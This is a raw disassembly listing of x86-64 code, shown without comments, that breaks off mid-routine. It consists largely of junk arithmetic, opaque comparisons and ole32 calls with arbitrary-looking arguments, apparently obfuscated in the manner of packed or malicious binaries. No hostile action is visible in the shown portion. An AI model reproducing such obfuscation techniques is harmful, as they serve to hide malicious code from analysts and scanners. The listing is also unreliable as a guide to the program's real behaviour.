mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
sub eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x3f38]
mov rcx, qword [rsp + 0x4050]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4058]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xfc]
movzx ecx, byte [rsp + 0xfa]
shl eax, cl
mov byte [rsp + 0xf9], al
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3a78]
sar rax, cl
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f38]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [rsp + 0x4010]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov eax, dword [rsp + 0x209c]
mov dword [rsp + 0x20e8], eax
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0xfb]
and eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4058]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
sub eax, ecx
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
sub eax, ecx
mov byte [rsp + 0xfc], al
movzx eax, word [rsp + 0x8ec]
add eax, 0x759
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fe0]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x4018]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3a78], rax
cmp dword [rsp + 0x2114], 0x63d9
jae 0x1400582a1
lea rax, [rsp + 0x4010]
mov qword [rsp + 0x4070], rax
mov dword [rsp + 0x211c], 0xd710
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
add eax, ecx
movsx ecx, byte [rsp + 0xfd]
movsx edx, byte [rsp + 0x7c]
add ecx, edx
cmp eax, ecx
jl 0x1401530dd
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x3f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov qword [rsp + 0x4078], rax
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4050]
mov edx, dword [rsp + 0x20e8]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jne 0x140152fc7
lea rax, [rsp + 0xfa]
mov qword [rsp + 0x4080], rax
movzx eax, byte [rsp + 0xfb]
mov byte [rsp + 0x2120], al
cmp byte [rsp + 0x2120], 0
je 0x1400586af
jmp 0x140058794
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4058]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4018]
mov rdx, qword [rdx]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jge 0x140058792
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov dword [rsp + 0x2124], eax
cmp dword [rsp + 0x2124], 0x24a9452d
je 0x14005873b
cmp dword [rsp + 0x2124], 0x43c9553a
je 0x140058753
jmp 0x140058792
movzx edx, word [rsp + 0x8ec]
movzx ecx, word [rsp + 0x8ec]
call fcn.140154660
nop
jmp 0x140058792
mov r8d, 0xf2
lea rdx, [rsp + 0x4040]
lea rcx, [rsp + 0x17e68]
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov dword [rsp + 0x2128], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x212c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
jmp 0x1400587ab
mov r8w, 0x72
mov rdx, qword [rsp + 0x4078]
mov cx, 0xde
call fcn.1401539e0
nop
mov rax, qword [rsp + 0x4078]
mov qword [rsp + 0x4088], rax
movabs rax, 0xd6c732d8fcb68853
cmp qword [rsp + 0x4088], rax
je 0x1400587d4
jmp 0x1400588d8
mov dword [rsp + 0x2128], 0x5e67adc8
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rsp + 0x3f90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x3a78]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x1400588d3
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov byte [rsp + 0x2130], al
cmp byte [rsp + 0x2130], 0xa5
je 0x140058838
jmp 0x1400588b7
movzx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [rsp + 0x4078]
sub rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
lea rdx, [rsp + 0x17f68]
lea rcx, [rsp + 0x2084]
call qword [sym.imp.ole32.dll_CoSwitchCallContext]
mov dword [rsp + 0x2134], eax
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x3f90]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
jmp 0x1400588d3
movsx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfb], al
jmp 0x140152f6b
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov dword [rsp + 0x2138], eax
cmp dword [rsp + 0x2138], 0
je 0x1400588f8
jmp 0x1400589e1
movzx eax, byte [rsp + 0xf9]
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov dword [rsp + 0x213c], 0x8c21
movzx eax, word [rsp + 0x8ec]
cmp eax, 0xab
jge 0x1400589c1
mov rax, qword [0x1401a0008]
mov rcx, qword [rsp + 0x3f98]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2128]
mov dword [rsp + 0x2140], eax
cmp dword [rsp + 0x2140], 0x47b0e642
je 0x140058982
jmp 0x14005899d
movzx edx, byte [rsp + 0xfa]
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rax]
call fcn.140154b70
nop
jmp 0x1400589bf
lea r8, [rsp + 0x17e68]
lea rdx, [rsp + 0x17e78]
mov ecx, 0x5b
call qword [sym.imp.ole32.dll_CoGetCancelObject]
mov dword [rsp + 0x2134], eax
jmp 0x1400589dc
mov rax, qword [rsp + 0x3a78]
mov qword [rsp + 0x4090], rax
mov dword [rsp + 0x2144], 0x4f8e
jmp 0x140058a8d
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x212c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20e8], eax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov byte [rsp + 0x2148], al
cmp byte [rsp + 0x2148], 0x43
je 0x140058a6e
cmp byte [rsp + 0x2148], 0xbd
je 0x140058a49
jmp 0x140058a8d
call qword [sym.imp.ole32.dll_CoRevertToSelf]
mov dword [rsp + 0x20dc], eax
movzx edx, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x3a78]
call fcn.140154b70
nop
jmp 0x140058a8d
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
add eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov dword [rsp + 0x214c], 0xb57
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfa]
add eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov rax, qword [rsp + 0x3fe0]
mov ecx, dword [rsp + 0x212c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x3f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov rcx, qword [0x1401a0008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x20c8]
add eax, 0x87
mov dword [rsp + 0x20c8], eax
mov eax, dword [rsp + 0x2084]
mov dword [rsp + 0x212c], eax
mov rax, qword [rsp + 0x4078]
mov rcx, qword [rsp + 0x4070]
mov qword [rsp + 0x4098], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4098]
mov rax, qword [rax]
shr rax, cl
mov qword [0x1401a0008], rax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
or eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
shl eax, cl
mov byte [rsp + 0xfc], al
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x4078]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x3f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x4058]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x4070]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4010], rax
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfc], al
mov rax, qword [rsp + 0x4048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
sub rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
mov dword [rsp + 0x2128], 0xe200311
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
add eax, ecx
mov byte [rsp + 0xfd], al
movzx eax, byte [rsp + 0xf9]
movzx ecx, byte [rsp + 0xfa]
add eax, ecx
mov byte [rsp + 0xfc], al
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x212c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [rsp + 0x3fa8]
mov qword [rsp + 0x40a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x40a0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4058]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
xor eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3f98]
shl rax, cl
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4050]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
sub eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [rsp + 0x4010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4078], rax
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x3fa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4090], rax
mov rax, qword [rsp + 0x4050]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x3f38]
mov rcx, qword [rsp + 0x4050]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfb]
sub eax, ecx
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
sub eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov eax, dword [rsp + 0x2128]
xor eax, 0x77dbdb95
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x4090]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20a0]
movzx ecx, al
mov eax, dword [rsp + 0x209c]
shl eax, cl
mov dword [rsp + 0x20e8], eax
mov rax, qword [rsp + 0x4090]
mov rcx, qword [rsp + 0x3f90]
mov qword [rsp + 0x40a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x40a8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x4058]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [0x1401a0008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xfe]
movzx ecx, byte [rsp + 0xf9]
add eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
add eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4090]
mov rcx, qword [rsp + 0x3a78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfc]
sub eax, ecx
mov byte [rsp + 0xfe], al
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x212c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
cmp dword [rsp + 0x20c8], 0x3f39
jne 0x140058a98
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4078], rax
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x4058]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4050]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x4050]
mov ecx, dword [rsp + 0x20e8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20f4]
add eax, 0x47
mov dword [rsp + 0x20f4], eax
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x3f90]
mov qword [rsp + 0x40b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x40b0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4010]
shl rax, cl
mov qword [0x1401a0008], rax
movzx eax, byte [rsp + 0xfc]
movzx ecx, byte [rsp + 0xfa]
and eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ec]
add eax, 0x56e
mov word [rsp + 0x8ec], ax
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0xfd]
add eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x4048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4078]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4090], rax
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x212c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x212c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov eax, dword [rsp + 0x20a0]
movzx ecx, al
mov eax, dword [rsp + 0x209c]
shl eax, cl
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xf9]
movzx ecx, byte [rsp + 0xfa]
or eax, ecx
mov byte [rsp + 0xfc], al
cmp dword [rsp + 0x20f4], 0xab69
jbe 0x14005909f
mov eax, dword [rsp + 0x2128]
mov dword [rsp + 0x2150], eax
mov dword [rsp + 0x2154], 0x4417
lea rax, [rsp + 0x3a78]
mov qword [rsp + 0x40b8], rax
mov eax, dword [rsp + 0x209c]
mov dword [rsp + 0x2158], eax
cmp dword [rsp + 0x2158], 0
je 0x140059334
cmp dword [rsp + 0x2158], 0x1ccff7e
je 0x14005949c
jmp 0x140059573
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
mov dword [rsp + 0x215c], eax
cmp dword [rsp + 0x215c], 0
je 0x140059354
jmp 0x14005947d
mov rax, qword [rsp + 0x4078]
movzx ecx, al
mov rax, qword [rsp + 0x4010]
shr rax, cl
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8ec]
mov dword [rsp + 0x2160], eax
cmp dword [rsp + 0x2160], 0x75
je 0x14005945c
cmp dword [rsp + 0x2160], 0x5d76
je 0x1400593a4
jmp 0x14005947b
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
mov dword [rsp + 0x2164], eax
cmp dword [rsp + 0x2164], 0x15f6171b
je 0x1400593c7
jmp 0x14005945a
mov dword [rsp + 0x28], 0xa3
lea rax, [rsp + 0x4040]
mov qword [rsp + 0x20], rax
mov r9d, 0x17
lea r8, [rsp + 0x17e68]
lea rdx, [rsp + 0x17e88]
lea rcx, [rsp + 0x17fb8]
call qword [sym.imp.ole32.dll_CoGetMarshalSizeMax]
mov dword [rsp + 0x20fc], eax
mov rax, qword [rsp + 0x3f38]
mov ecx, dword [rsp + 0x20e8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x209c], eax
movzx eax, byte [rsp + 0xfc]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov edx, 0xe0
lea rcx, [rsp + 0x212c]
call qword [sym.imp.ole32.dll_CoDisconnectObject]
mov dword [rsp + 0x2134], eax
jmp 0x14005947b
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
add eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
jmp 0x140059497
mov r8w, 0x39
mov rax, qword [rsp + 0x4070]
mov rdx, qword [rax]
mov cx, 0xf2
call fcn.1401539e0
nop
jmp 0x140059573
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0xfb]
add eax, ecx
mov byte [rsp + 0x7c], al
lea rdx, [rsp + 0x17e98]
lea rcx, str.troposphere
call qword [sym.imp.ole32.dll_GetClassFile]
mov dword [rsp + 0x2134], eax
movzx eax, word [rsp + 0x8ec]
mov dword [rsp + 0x2168], eax
cmp dword [rsp + 0x2168], 0x50f
je 0x1400594f9
cmp dword [rsp + 0x2168], 0x995
je 0x14005954f
jmp 0x140059573
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ec]
add eax, 0x955
mov word [rsp + 0x8ec], ax
mov r9, qword [rsp + 0x4078]
movzx r8d, word [rsp + 0x8ec]
mov edx, dword [rsp + 0x209c]
movzx ecx, byte [rsp + 0x7c]
call fcn.140153480
nop
jmp 0x140059573
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x4018]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
cmp dword [rsp + 0x2100], 0x10633
jae 0x1400596ed
mov eax, dword [rsp + 0x2150]
sub eax, 0x79518b46
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4070]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4078], rax
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x4050]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x209c], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3f98]
shl rax, cl
mov qword [0x1401a0008], rax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfc]
sar eax, cl
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
or eax, ecx
mov byte [rsp + 0xfd], al
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
add eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov eax, dword [rsp + 0x2100]
add eax, 0xfb
mov dword [rsp + 0x2100], eax
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rsp + 0x40b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4090], rax
mov eax, dword [rsp + 0x2128]
sub eax, 0x3874cdff
mov dword [rsp + 0x2150], eax
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [0x1401a0008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4010], rax
jmp 0x140059573
mov rax, qword [rsp + 0x4070]
mov rcx, qword [rsp + 0x4010]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4048]
mov rdx, qword [rsp + 0x4078]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jbe 0x140059776
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [rsp + 0xfb], al
mov edx, 1
lea rcx, [rsp + 0x4040]
call qword [sym.imp.ole32.dll_OleGetIconOfFile]
mov qword [rsp + 0x40c0], rax
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x4018]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2150]
mov dword [rsp + 0x216c], eax
cmp dword [rsp + 0x216c], 0x487a1cfd
je 0x1400597a7
cmp dword [rsp + 0x216c], 0x6e44d140
je 0x14005997b
jmp 0x14005999b
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0x2170], al
cmp byte [rsp + 0x2170], 0xd7
je 0x1400597c5
jmp 0x140059932
movzx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xfa], al
mov eax, dword [rsp + 0x2128]
xor eax, 0x7a4c03cf
cmp eax, dword [rsp + 0x2150]
jle 0x140059857
mov rax, qword [rsp + 0x4078]
movzx ecx, al
mov rax, qword [rsp + 0x3f98]
shr rax, cl
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov dword [rsp + 0x28], 0xff
lea rax, [rsp + 0x3f90]
mov qword [rsp + 0x20], rax
mov r9d, 0xbd
lea r8, [rsp + 0x17ea8]
lea rdx, [rsp + 0x17eb8]
lea rcx, [rsp + 0x4040]
